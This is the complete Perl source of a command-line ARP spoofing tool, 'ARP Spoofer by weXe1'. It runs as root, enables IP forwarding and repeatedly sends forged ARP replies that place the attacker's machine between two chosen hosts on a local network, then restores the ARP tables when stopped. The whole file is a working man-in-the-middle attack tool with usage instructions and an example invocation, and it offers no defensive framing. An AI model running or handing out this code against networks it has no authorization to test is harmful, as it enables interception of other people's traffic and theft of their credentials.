arpspf

#!/usr/bin/perl

#
#   Author: <wexe1@protonmail.com>
#   License: GNU GPL-3.0
#

use strict;
use warnings;
use Net::ARP;
use Net::Ping;
use Getopt::Long;
use Term::ANSIColor;

unless($> == 0) {
    printcolor("[!!] You need to run this as 'root'\n", 'red');
    exit 0;
}
else {
    system("echo 1 > /proc/sys/net/ipv4/ip_forward");
}

my($interface, $target1_ip, $target2_ip, $sleep);

GetOptions(
    'i=s' => \$interface,
    't1=s' => \$target1_ip,
    't2=s' => \$target2_ip,
    's=i' => \$sleep
);

&usage() unless $interface;
&usage() unless $target1_ip;
&usage() unless $target2_ip;

$sleep = $sleep ? $sleep : 2;

my $local_mac = Net::ARP::get_mac($interface);
if($local_mac eq 'unknown') {
    printcolor("[!!] Unknown local MAC address\n", 'red');
    exit 0;
}
else {
    printcolor("[*] Local MAC is $local_mac\n", 'magenta');
}
my $target1_mac = &get_mac_addr($target1_ip);
if($target1_mac eq 'unknown') {
    printcolor("[!!] Unknown MAC address of Target 1\n", 'red');
    exit 0;
}

my $target2_mac = &get_mac_addr($target2_ip);
if($target2_mac eq 'unknown') {
    printcolor("[!!] Unknown MAC address of Target 2\n", 'red');
    exit 0;
}

printcolor("[*] Target 1: $target1_ip => $target1_mac\n", 'magenta');
printcolor("[*] Target 2: $target2_ip => $target2_mac\n", 'magenta');

$SIG{TSTP} = $SIG{TERM} = $SIG{INT} = $SIG{QUIT} = $SIG{HUP} = \&restore_arp;

printcolor("[+] Starting ARP spoofing...\n", 'green');
printcolor("[+] Ctrl + C to Stop\n", 'green');

while() {
    printcolor("[==>] Sending $target2_ip: $target1_ip is at $local_mac\n", 'blue');
    &send_arp($target1_ip,$target2_ip,$local_mac,$target2_mac);
    printcolor("[==>] Sending $target1_ip: $target2_ip is at $local_mac\n", 'blue');
    &send_arp($target2_ip,$target1_ip,$local_mac,$target1_mac);
    printcolor("[zzz] Sleeping for $sleep seconds\n", 'blue');
    sleep($sleep);
}

sub send_arp {
    my $sourceIP        = shift;
    my $destinationIP   = shift;
    my $sourceMAC       = shift;
    my $destinationMAC  = shift;

    unless(Net::ARP::send_packet(
            $interface,
            $sourceIP,
            $destinationIP,
            $sourceMAC,
            $destinationMAC,
            'reply'
    )) {
        printcolor("[!!] Exiting...\n", 'red');
        exit 0;
    }
}

sub restore_arp {
    printcolor("\n[+] Restoring ARP...\n", 'green');

    &send_arp($target1_ip,$target2_ip,$target1_mac,'ff:ff:ff:ff:ff:ff');
    &send_arp($target2_ip,$target1_ip,$target2_mac,'ff:ff:ff:ff:ff:ff');
    system("echo 0 > /proc/sys/net/ipv4/ip_forward");

    printcolor("[+] Exiting...\n", 'green');
    exit 0;
}

sub get_mac_addr {
    my $ip = shift;
    
    my $ping = Net::Ping->new('icmp');
    $ping->ping($ip, 2);
    undef $ping;
    my $mac = Net::ARP::arp_lookup($interface,$ip);

    return $mac;
}

sub printcolor {
    my($text, $color) = @_;
    print color($color), $text;
    print color('reset');
}

sub usage {
    print "Usage:\n\n\$ sudo perl $0 -i [interface] -t1 [target1 IPv4 addr] -t2 [target2 IPv4 addr]\n\n";
    print "Options:\n\n";
    print "\t-i [interface]\t\tnetwork interface\n";
    print "\t-t1 [IPv4]\t\tfirst target\n";
    print "\t-t2 [IPv4]\t\tsecond target\n";
    print "\t-s [seconds]\t\tsleeping time after sending ARP packets\n";
    print "\nExample:\n\n\$ sudo perl $0 -i eth0 -t1 192.168.8.1 -t2 192.168.8.123 -s 5\n\n";
    exit 0;
}

BEGIN { &printcolor("ARP Spoofer by weXe1\n".'-'x20 ."\n", 'bold blue'); }